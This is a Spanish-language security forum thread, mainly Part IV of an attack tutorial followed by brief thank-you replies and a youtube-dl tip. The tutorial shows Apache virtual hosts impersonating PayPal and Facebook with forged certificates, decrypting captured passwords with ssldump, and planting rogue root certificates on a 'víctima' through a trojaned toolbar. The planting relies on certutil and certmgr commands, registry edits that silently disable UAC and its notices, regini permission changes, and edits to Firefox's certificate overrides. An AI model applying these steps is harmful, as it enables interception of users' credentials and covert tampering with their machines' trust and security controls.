[youtube]v/epSBHtyoKLQ&hl=es&fs=1[/youtube]

Otra solución, (si no queremos hacer trastadas), es usar mod_gnutls que desgraciadamente para nosotros no nos servirá puesto que no se lleva nada bien con mod_proxy… y carámba… es que necesitamos proxypass y proxypassreverse con SSL para nuestras “hazañas

Podéis descargarlo desde:

http://www.outoforder.cc/projects/apache/mod_gnutls/

Y podemos instalarlo (ya que estamos con Backtrack 4)

Código: Seleccionar todo
apt-get update
apt-get install libapache2-mod-gnutls
a2enmod gnutls
a2dismod ssl


Y luego en los VirtualHost usaremos:

Código: Seleccionar todo
<VirtualHost  *:443>
ServerName www.paypal.com
ServerAlias www.paypal.com
gnuTLSEnable on
gnuTLSPriorities NORMAL
gnuTLSCertificateFile /etc/apache2/CA/certificado-paypal.pem
gnuTLSCertificateKey /etc/apache2/CA/paypal-key.pem
…..
…..

<VirtualHost  *:443>
   ServerName login.facebook.com
   ServerAlias login.facebook.com
   gnuTLSEnable on
   gnuTLSPriorities NORMAL
   gnuTLSCertificateFile /etc/apache2/CA/certificado-facebook.pem
   gnuTLSCertificateKey /etc/apache2/CA/facebook-key.pem
   ....
   ....

También podéis ver una configuración en:

http://en.gentoo-wiki.com/wiki/Apache2/ ... tual_Hosts

Pero como ya os dije antes… los resultados al utilizar ProxyPass no fueron del todo satisfactorios…

En fin, que bien con SSLStrictSNIVHostCheck on en la versión que dispongamos o actualizando a apache a una versión 2.2.12 o posterior tendremos esto resuelto.

Con SNI podremos disponer de varios virtualhost basados en nombre escuchando por el mismo puerto y por la misma IP, y con tantos certificados como queramos.

Podéis encontrar mas información acerca de SNI en:

http://en.wikipedia.org/wiki/Server_Name_Indication

http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI

Y para saber si el navegador soporta extensiones SNI en:

https://sni.velox.ch/

Ahora veamos que con SNI ya no tenemos todos esos problemas…

Vídeo 20: Todo funciona… POR FIN!!!!

[youtube]v/OSmKuJhYqEY&hl=es&fs=1[/youtube]

Desgraciadamente SNI no funciona con Internet Explorer bajo Windows XP, sólo Vista o posteriores…. Si se diese este caso, sólo deberíamos tener un único virtualhost por IP y puerto, y si “nos empeñamos” en disponer mas de un virtualhost y los clientes son Xp con Internet Explorer, pues un único certificado para todos…

Y ahhh, SSLStrictSNIVHostCheck on no ha de existir si usamos mod_proxy porque “no lo entendería” el cliente.

Recuerda que esto ocurre sólo en versiones de Windows anteriores a Vista y otra cosa, si utilizamos XP y como navegador Firefox (2.0 o posterior) todo funcionará como es debido.

Pero como estamos con Windows 7… pues bueno, seguimos…

Y ahora… vamos a probar que ssldump es capaz de descifrar la transmisión y obtener las contraseñas:

Vídeo 21: Probando con SSLdump

[youtube]v/P2NXqpVZtMk&hl=es&fs=1[/youtube]

Vale, pues después de todo este “tinglado”… ¿Y si el cliente no dispone de esos certificados ya instalados?

Pues claro… le saldrá la ventanita de que tal sitio o tal otro no es de confianza…

Y podemos hacer algo??

Pues… poco, mas que engañarle… ser creativos con los nombres de certificados para que “se lo trague” y lo termine aceptando… pero podemos también usar la misma técnica que en el vídeo 15… empaquetar un “algo” para que cuando lo descargue e instale además de lo “suyo” se instalen nuestros certificados.

Ya… ya sé que es difícil pero de eso vive casi todo el malware… y mira que hay equipos infectados por todas partes… o sea que seguramente no todos pero muchos caerán.

Vamos a jugar con uno sólo… con facebook….

Qué tal si configuramos nuestro apache para que cuando el “visitante” venga y se instale la barra de facebook para su navegador además de eso se instale el certificado “falso-bueno”, vamos el nuestro.

Un problema “añadido” es que no conocemos con qué navegador nos visita el cliente, vale, lo podríamos averiguar pero no vamos a hacer esto eterno… jugamos primero con IExplorer y luego con Firefox, los demás… los investigáis por vuestra cuenta.

Antes de poner manos a la obra, vamos a ver cómo podemos instalar estos (u otros) certificados desde la línea de comandos, para ello podemos usar certutil.exe que ya viene “de serie” en la instalación de Windows y también podemos usar certmgr.exe (ojo que no es certmgr.msc) que lo podemos obtener si nos bajamos la sdk de .net framework.

    * Certutil necesita de “privilegios” si lo lanzamos en un Windows Vista y/o Windows 7, otro problema añadido… hay que desativar UAC (El control de cuentas de usuario) si queremos usar eso y que sea silencioso

    * Certmgr.exe no precisa de “elevación” pero en contrapartida, sólo podremos instalar los certificados para el usuario actual (CurrentUser) y no para todos (LocalMachine) y además…. Se nos informará que estamos “a punto” de instalar un nuevo certificado.

De momento veremos como funcionan certmgr.exe, certmgr.msc (este viene de serie) y certutil.exe que también viene de serie.,

Si no te quieres bajar la sdk completa para obtener certmgr.exe lo puedes descargar directamente (añadí también otro que nos permite crear certificados pero no lo usaremos) desde aquí:

http://www.megaupload.com/?d=YFZ0Q16A

La contraseña para descomprimir el archivo es El_Lider_DWFP

Ahora vemos el vídeo

Vídeo 22: Como instalar un certificado en IE por línea de comandos. Vista y Win7

[youtube]v/X4wyYwL6nQE&hl=es&fs=1[/youtube]

Al usar versiones de Windows anteriores a Vista… ese “cartelito” no saldrá, sencillamente se instala “sin preguntas”, no hay UAC y además… podremos instalar con certmgr.exe en LocalMachine… para TODOS!!!!

Y una cosita mas… en XP no viene “de serie” certutil… así que o lo instalamos o usamos cetmgr.exe de la SDK… al gusto, al final, todo vale.

Curiosamente… si lo instalamos en CurrentUser nos pedirá confirmación mientras que si lo hacemos en localmachine, NO!!! Cosas de Windows…. La vida al revés.

Vídeo 23: Como instalar un certificado en IE por línea de comandos. En XP

[youtube]v/2wpyov4mub4&hl=es&fs=1[/youtube]

Como ya dijimos antes, certutil.exe precisa de “elevación” por tanto habría que poner fuera de combate a UAC y luego reiniciar… demasiado para el cuerpo… no es que sea difícil, pero un poco “cante” si que es, no obstante por si alguno le interesa, La ruta del registro que tenemos que seguir es:

Código: Seleccionar todo
HK_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Policies\System


Y dentro de esta, hay (al menos) 4 claves importantes:

ConsentPromptBehaviorAdmin y ConsentPromptBehaviorUser que son las responsables de que nos aparezca eso de que “si deseamos ejecutar tal programa…”

EnableInstallerDetection Que determina si se ha de avisar o no ante la ejecución de un instalador…

EnableLUA que es quien determina si tenemos activado o no el control de cuentas… ojo que si lo desactivamos (valor cero) nos pedirá que reiniciemos…

Bueno, también hay otra que podríamos desactivar: PromptOnSecureDesktop pero esta es opcional… que activa o desactiva la seguridad del escritorio, es un valor que se le proporciona a UAC (y que a veces es mejor desactivarlo para no tener “efectos” extraños con la pantalla)

Si hacemos un EnableLUA a cero, además de reiniciar para que tomen efectos los cambios y si no cambiamos “otra” clave mas, nos aparecerán los mensajes del centro de seguridad diciendo que el control de cuentas de usuario está desactivado y bla, bla, bla…

Así que también deberíamos desactivar esta otra:

Código: Seleccionar todo
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center


Y añadir (en el caso de que no exista) UACDisableNotify con valor 1

De este modo, tras el reinicio con UAC desactivado no informará de ello

Lo vemos para hacernos una “idea” de cómo funcionaría “nuestro malware”

Vídeo 24: Modificar el registro para que UAC “se esconda”

[youtube]v/sEEH6CHSsyo&hl=es&fs=1[/youtube]

--- MODIFICACION -----

Vídeo 24b: Ejecutar programas con UAC Activado silenciosamente....

Vemos que tan sólo modificando los consentimientos de usuario y admin en el registro (valor a cero) aún teniendo UAC activado el programa se ejecuta sin intervención del usuario

[youtube]v/YRBMrbQ1EAQ&hl=es&fs=1[/youtube]

--- FIN DE MODIFICACION ----

Y me pregunto… y una vez instalado el certificado… con UAC, sin UAC o como sea…. ¿dónde lo guarda Windows?

Jaaa. Pues claro… en el registro!!!

Los certificados en el registro se almacenan en (para el usuario actual):

Código: Seleccionar todo
HK_CurrentUser\Software\Microsoft\SystemCertificates

HK_CurrentUser\Software\Policies\Microsoft\SystemCertificates


Entonces, podríamos ser mas “sibilinos” si en un equipo “aparte” nos instalamos el certificado y guardamos en un archivito .reg esas claves para “otro”?

Pues “a medias” porque Existe una entrada que se llama ProtectedRoots en la que sólo el grupo SvcCrypt tiene permisos de escritura… eso lo podemos solucionar con el comando regini.exe agregando permisos a “todos” de control total, así:

Nos creamos un archivo de texto con este contenido:

Código: Seleccionar todo
HKEY_Current_User\Software\Microsoft\SystemCertificates\Root\ProtectedRoots [7]


El 7 indica control total a TODOS

(Sin consultási la Web de Microsoft acerca de regini veréis que dice que el archivo de configuración debe ser Registry\User\....., NI CASO, ESTA MAL!!! es como puse en el code anterior)

Ese archivo lo guardamos con el nombre que mas rabia nos dé… por ejemplo: passcer.txt

Y luego lanzamos:
Código: Seleccionar todo
regini passcer.txt


Entones, ya tendremos permisos para escribir alli…

Y si luego en nuestro “paquete” en lugar de hacer que se instale le añadimos al registro las claves que exportamos…. Y depaso desactivamos uac, reiniciamos, etc… pues todo como debe ser… en el ejemplo del vídeo que viene a continuación omito la parte de UAC, del empaquetado y de la descarga de “la barra de Facebook” falseada… eso ya lo hemos visto anteriormente…

Suponemos que nuestra vícitma decide descargarse la barra de Facebook para Internet Explorer, configuramos nuestro apache con reverse Proxy + mod rewrite + SNI + dnslogger (como hicimos en el vídeo 15 con Acrobat y/o IE9)… tan sólo vamos a ver la ejecución del asunto:

Vídeo 25. Jugando con el registro de Windows y los certificados.

[youtube]v/fx4CrwXrSXw&hl=es&fs=1[/youtube]

Con firefox es todo mas sencillo, muucho mas sencillo… porque los certificados no se añaden al registro de Windows, se van a:

Código: Seleccionar todo
%APPDATA%\Mozilla\Firefox\Profiles\nom_perfil.default\cert_override.txt


El nombre del perfil lo podemos encontrar en el archivo profiles.ini también en esta ruta…

Código: Seleccionar todo
%APPDATA%\Mozilla\Firefox\Profiles\profiles.ini


No costaría mucho crear un “bicho” que leyera ese archivo y coloque el/los certificados dentro de esa ruta, en el perfil concreto (o en todos) y escribiese dicho fichero.

Yo creo que ya está bien… hemos visto (y espero que aprendido) muchas cosas acerca del manejo de los certificados… ahora a esperar nuevas “partes” que dicho sea de paso, será el making-of para que dispongáis de todo este “tinglado” en vuestras máquinas…

Saludos y FIN de Parte IV

PD: Los nuevos vídeos (en formato mov, esta vez está "colgados" en youtube) los podéis descargar en:

http://www.megaupload.com/?d=8H6AAXSG

o si queréis descargaros TODOS los de esta parte (incluidos los nuevos de este post, en formato swf)

http://www.megaupload.com/?d=UD7PP27V

Ahora sí.... terminada ;)
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el router Qué? Parte IV - TERMINADA -

Notapor Vic_Thor » Mié Sep 01, 2010 9:51 pm

Me olvidaba... (si es que esto no terminará nunca.....)

Es posible (mediante hstart.exe) ejecutar un programa, comando, aplicación, etc... CON UAC HABILITADO y sin que nos pida confirmación ni elevación :P

Ahora "añado" un nuevo vídeo (el 24b) que lo ilustra...
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el router Qué? Parte IV - TERMINADA -

Notapor Sor_Zitroën » Mié Sep 01, 2010 10:31 pm

Yo empiezo a dudar seriamente que duermas...

Gracias por todo el trabajo, que es poco menos que impresionante. ¡Pendiente me queda leerlo!
[Padre] ¿Crees en el fracaso?
[Hijo] Sí
[Padre] Entonces lo experimentarás
Avatar de Usuario
Sor_Zitroën
-<|:·þ
-<|:·þ
 
Mensajes: 2064
Registrado: Vie Nov 25, 2005 2:01 am

Re: Y desde el router Qué? Parte IV - TERMINADA -

Notapor jochy » Jue Sep 02, 2010 10:29 pm

Saludos.
Excelente vic_thor, muchas gracias.
Parece que alguno videos no cargaban pero era temporal, ya anda todo bien.
Gracias de nuevo
jochy
:-D
:-D
 
Mensajes: 120
Registrado: Vie Mar 27, 2009 4:04 am

Re: Y desde el router Qué? Parte IV - TERMINADA -

Notapor disturb » Mar Sep 07, 2010 12:30 am

muchas gracias Vic!! los contenidos y los tutoriales espectaculares como siempre..!
disturb
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 2253
Registrado: Mié Ene 26, 2005 5:30 pm
Ubicación: Málaga

Re: Y desde el router Qué? Parte IV - TERMINADA -

Notapor voteya » Vie Nov 07, 2014 9:31 pm

Hola a todos, en primer lugar soy el más super-novato de todos y es porque hace muchos años, cuanto estaba el foro autentico de hackxcrack yo lo visitaba casi a diario, aunque no tenía ni idea de lo que hablaban, pero siempre ma ha llamado la atención todo el tema de seguridad, programación, etc.. de lo que se hablaba, tengo las revistas originales que me las compraba en el quiosco, que época, en fin no me enrollo.

Por motivos de mi trabajo esto era un hobby, no trabajo en nada referente a la informática, pero sin saber ni mucho menos de la milesima parte de los que estais aquí, el tema es que he visto el post de Vic_Thor que hay detrás del router, parte 1,2,3,4 y me gustaría saber si alguien tiene los videos de la parte 4 no están visibles (esto se ha anticuado, o aun funciona).

Por cierto, si me pongo a estudiar esto estoy atrasandome en el tiempo o que, porque no controlo mucho y me gustaría conectarme con un router que tiene un familiar mío y hacer esta práctica. Sería la bomba.

Que me aconsejais para estudiar, porque de tanta documentación, esto es un lio, no sabes por donde cogerte y centrarte, al final me pierdo. Alguien de vosotros tiene algún curso o algo parecido aunque sea de pago. Es por centrarme en algo y llegar a entenderlo bien.

Por cierto otra cosa, quien era en el foro antiguo de hackxcrack llamado "el_chaman" me encantaba al igual que Vic_Thor, los post que escribian, y otros muchos que si que he visto los nicks por aquí...

Saludos a tod@s :embudito:
voteya
:-)
:-)
 
Mensajes: 7
Registrado: Sab Nov 01, 2014 11:27 pm

Re: Y desde el router Qué? Parte IV - TERMINADA -

Notapor Sor_Zitroën » Vie Nov 07, 2014 10:49 pm

Yo no te puedo ayudar con el tema de los vídeos, a ver si alguien te pudiera echar una mano. Sobre lo de por dónde empezar... pues para entender estos posts de Vic_Thor sería bueno que tuvieras una base decente de redes.

Un saludo :)
[Padre] ¿Crees en el fracaso?
[Hijo] Sí
[Padre] Entonces lo experimentarás
Avatar de Usuario
Sor_Zitroën
-<|:·þ
-<|:·þ
 
Mensajes: 2064
Registrado: Vie Nov 25, 2005 2:01 am

Re: Y desde el router Qué? Parte IV - TERMINADA -

Notapor vlan7 » Dom Nov 09, 2014 4:06 am

Hola,

pues tienes los videos en su canal de youtube https://www.youtube.com/user/vmthor/

si quieres bajarte todos de golpe, una opcion seria con youtube-dl (a mi me va de lujo este programita)

Código: Seleccionar todo
youtube-dl -citw ytuser:vmthor


Suerte,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Y desde el router Qué? Parte IV - TERMINADA -

Notapor voteya » Dom Nov 09, 2014 9:06 pm

vlan7 escribió:Hola,

pues tienes los videos en su canal de youtube https://www.youtube.com/user/vmthor/

si quieres bajarte todos de golpe, una opcion seria con youtube-dl (a mi me va de lujo este programita)

Código: Seleccionar todo
youtube-dl -citw ytuser:vmthor


Suerte,


Muchas gracias vlan7, no conocía este programita, yo utilizada el plugin de flashgot con el firefox, y de esta forma me descargaba el formato que necesita a mayor calidad, lo probaré este que me indicas a ver que tal.

Ahora mismo estoy comprobando el youtube-dl es una maravilla, impesionante.. descarga hasta por un playlist, impresionante... le pongo el atributo -F para ver que tipo de formatos hay en el video y después sustituyo -F por -f + espacio + numero de formato, y me lo baja todo con la calidad que he elegido.. :embudito: Muchas gracias. vlan7

Saludos también a Sor_Zitroën que del post anterior no te he dicho nada, voy a estudiar que me queda mucho, para poder llegar a la sombra de los zapatos de vosotros, pero poco a poco. :D
Última edición por voteya el Lun Nov 10, 2014 7:24 pm, editado 1 vez en total
voteya
:-)
:-)
 
Mensajes: 7
Registrado: Sab Nov 01, 2014 11:27 pm

Re: Y desde el router Qué? Parte IV - TERMINADA -

Notapor Sor_Zitroën » Lun Nov 10, 2014 1:24 pm

@vlan7: buen aporte, yo tampoco conocía el programa. Gracias ;)

@voteya: a la sombra de mis zapatos vas a llegar en nada, porque estoy un poco desconectado de este mundo. Ahora, aquí en el foro hay personas que saben mucho. Hablaría de hackers con mayúsculas.
[Padre] ¿Crees en el fracaso?
[Hijo] Sí
[Padre] Entonces lo experimentarás
Avatar de Usuario
Sor_Zitroën
-<|:·þ
-<|:·þ
 
Mensajes: 2064
Registrado: Vie Nov 25, 2005 2:01 am

Siguiente

Volver a Seguridad

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 3 invitados

cron